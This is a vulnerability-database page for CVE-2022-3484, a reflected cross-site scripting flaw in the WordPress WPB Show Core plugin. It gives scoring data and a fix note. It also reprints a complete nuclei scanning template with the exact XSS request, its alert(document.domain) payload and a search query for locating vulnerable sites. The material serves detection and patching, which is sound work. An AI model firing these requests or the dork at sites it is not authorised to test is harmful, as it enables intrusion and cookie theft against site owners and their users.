HexBrain

Browse / CVEs / CVE-2022-3484

CVE-2022-3484· wpb show core project / wpb show core· CWE-79

WordPress WPB Show Core - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.2%likelihood of exploitation, next 30 days
70%of all CVEs are less likely
Readycheck to confirm it

WordPress wpb-show-core plugin through TODO contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and potential compromise of the affected WordPress website.

Fix

Update to the latest version of the WPB Show Core plugin, which includes a fix for the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php?audioPlayerOption=1&fileList[0][title]=%3Cscript%3Ealert%2…
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "wpb_jplayer_setting") and contains(body, "<script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2022-3484 -u <target>

The full check
id: CVE-2022-3484

info:
  name: WordPress WPB Show Core - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress wpb-show-core plugin through TODO contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and potential compromise of the affected WordPress website.
  remediation: |
    Update to the latest version of the WPB Show Core plugin, which includes a fix for the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/3afaed61-6187-4915-acf0-16e79d5c2464
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3484
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-3484
    cwe-id: CWE-79
    epss-score: 0.0101
    epss-percentile: 0.63401
    cpe: cpe:2.3:a:wpb_show_core_project:wpb_show_core:-:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpb_show_core_project
    product: wpb_show_core
    framework: wordpress
    google-query: inurl:wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php
  tags: cve,cve2022,wpscan,wp-plugin,wp,wordpress,xss,wpb-show-core,wpb_show_core_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php?audioPlayerOption=1&fileList[0][title]=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "wpb_jplayer_setting")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from